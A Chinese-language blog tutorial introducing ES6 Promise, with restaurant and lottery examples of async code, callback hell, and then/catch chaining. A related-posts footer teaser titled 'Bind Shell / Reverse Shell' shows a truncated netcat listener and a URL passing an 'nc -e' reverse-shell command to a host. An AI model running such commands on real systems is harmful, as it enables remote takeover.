Day.28 「Promise 初体验~」 —— ES6 Promise

「Promise 初体验~」 —— ES6 Promise

我们前面已经学习了回调函式Callback Function)与构造函式Constrcutor),而 Promise 是 ES6 新增用来解决非同步回调地域的新语法,同时也是一个构造函式!

非同步

在这里我们要先了解到什麽是非同步!相信大家应该都听过最好理解的范例,那就是用餐厅来做范例!

同步的概念就像是:服务生接收点餐 → 通知厨房有餐 → 厨房完成餐点 → 结帐 → 接下一位客人
一步一步做下去,优点是不易出错,但缺点也非常明显,效率非常差。

而非同步的概念:服务生接收点餐 → 通知厨房有餐 → 结帐 → 接下一位客人 → ... → 厨房完成餐点一起给客人
能够把需要先执行的优先执行,优点就是效率好,但缺点就是跟同步比起来,维护比较麻烦。

而在我们介绍定时器时,就有体现出非同步的状态。

function order() {
    console.log("点餐");
  
    (function making() {
        console.log("开始制作");

        (function checkout() {
            console.log("结帐");
        })();
        setTimeout(()=>{
            console.log("餐点完成");
        }, 1000)
    })();
}

order();
order();

/*
    "点餐"
    "开始制作"
    "结帐"
    "点餐"
    "开始制作"
    "结帐"
    "餐点完成"
    "餐点完成"
*/

这时就有点看到回调地狱Callback Hell)的影子了!这就是它不容易维护的部分

  • 不易阅读
  • 处理异常处理不方便

而 Promise 改善了回调地狱的问题。

ES6 以前

在还没有 ES6 前,处理 AJAX 与 计时器的时候,都是直接使用回调函式来处理非同步事件
这里用抽奖为例

<!-- HTML -->
<button id="btn">点我抽奖</button>
const btn = document.getElementById("btn");  // 获取按钮 DOM

/*  随机数函式  */
function randomNum (m, n) {
  return Math.ceil( Math.random() * (n - m + 1)) + m - 1;
}

btn.addEventListener("click", function(){
  // 设定按按钮後一秒後抽奖
  setTimeout( function () {
    let n = randomNum(1, 100);  // 1~100 随机数
    if ( n <= 30 ) {
      console.log("恭喜你中奖了!你的中奖数字是" + n);  // 30% 中奖率
    } else {
      console.error("铭谢惠顾~你的数字是" + n)
    }
  }, 1000)
})

Promise

在 ES6 之後,可以透过 Promise 来包装程序码,
而使用 Promise 的方式,与构造函式的使用方式类同,而参数带入的是函式,带入的函式内会有两个参数 resolvereject

const p = new Promise( (resolve, reject) => {
  // ...
})

这两个参数本身也是函式,一个代表解决,一个代表拒绝,函式的参数可以进行传递。

const p = new Promise( (resolve, reject) => {
  if ("成功") {
    resolve( "成功" );  // 成功使用 resolve 函式,代表这个 Promise 物件的状态是成功的
  } else {
    reject( "失败" );    // 失败使用 reject 函式,代表这个 Promise 物件的状态是失败的
  }
})

以上面的抽奖例子做修改。

/* 修改事件监听,进行 Promise 包装 */

btn.addEventListener("click", function(){

  const p = new Promise((resolve, reject) => {  // Promise 包装
    
    setTimeout(() => {
      let n = randomNum(1, 100);  // 1~100 随机数
      if ( n <= 30 ) {
        resolve(n);  // 将 Promise 物件设定为"成功" n 作为资料参数传递出去
      } else {
        reject(n);   // 将 Promise 物件设定为"失败" n 作为资料参数传递出去
      }
    }, 1000)
    
  });
})

这样就包装好了,但你会发现,奇怪怎麽没有效果了?
那是因为还要调用 then 方法,来接收成功或失败的资料,一样可以接收两个参数,两个参数分别代表成功失败的函式,而成功与失败的函式可以靠参数传递资料。

then

p.then((data)=>{
  console.log("恭喜你中奖了!你的中奖数字是" + data);
},(err)=>{
  console.error("铭谢惠顾~你的数字是" + err)
})

你可能觉得,好像没有方便到哪里呀~还要另外用 then 来调用!
那是因为我们这个范例还很简单,没有到 Callback Hell 的程度,当资料越来越复杂,就会形成 Callback Hell。

// node.js 资料串接
data.readFile('./data/a.text', (err, data1) => {
    data.readFile('./data/b.text', (err, data2) => {
        data.readFile('./data/c.text', (err, data3) => {
            data.readFile('./data/d.text', (err, data4) => {
                let result = data1 + data2 + data3 + data4;
                console.log(result)
            })
        })
    })
})

catch

Promise 只要包装好了,接下来只要使用 then 来进行连续调用串接,不会让程序码越来越往右推移。
此外大多数情况,也不会刻意接失败的资料,可以依靠 catch 来进行最後失败时的处理

// 先在最外层进行 Promise 包装
const p = new Promise((res,rej) => {
  data.readFile('./data/a.text', (err, data) => {
    res(data);
  })
})
// 使用 then 串接
p.then( val => {
  return new Promise((res, rej) => {
    data.readFile('./data/b.text', (err, data) => {
      res([val, data]);
    })
  })
}).then( val => {
  return new Promise((res, rej) => {
    data.readFile('./data/c.text', (err, data) => {
      val.push(data);
      res(val)
    })
  })
}).then( val => {
  console.log(val)  // 成功使用 then
}).catch( err => {
  console.error("串接失败!")  // 失败使用 catch
})

总结

虽然短期这样看,Promise 写起来好像没有 Callback 快,但它解决了长期的资料变庞大的时候,所产生的回调地狱,Promise 只是向下添加程序码,而 Callback Hell 则是一直往右推移程序码,Promise 还有很多方法还没讲到,目前只是初体验!

参考资料


<<:  DAY 25- 区块链 Blockchain

>>:  Day 23 实时时钟(real-time)与系统时钟(system clock)

Aol Mail Not Working on iPhone Device

If AOL is not working on your iPhone, you can try ...

Day 23 - Android 程序实作:简单的使用者进入

Day 23 - Android 程序实作:简单的使用者进入 昨天我讲了我对Android的兴趣,今...

[Day24] Bind Shell / Reverse Shell

前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...

Day 22. 列表渲染 – v-for

昨天讲了条件渲染,今天来讲列表渲染(List Rendering)吧!! v-for 当我们在页面上...

第一天:为什麽该学好 Gradle?

开始接触 Gradle 的原因 身为一位 Kotlin 开发者,每天需要接触的就是 JVM 生态系的...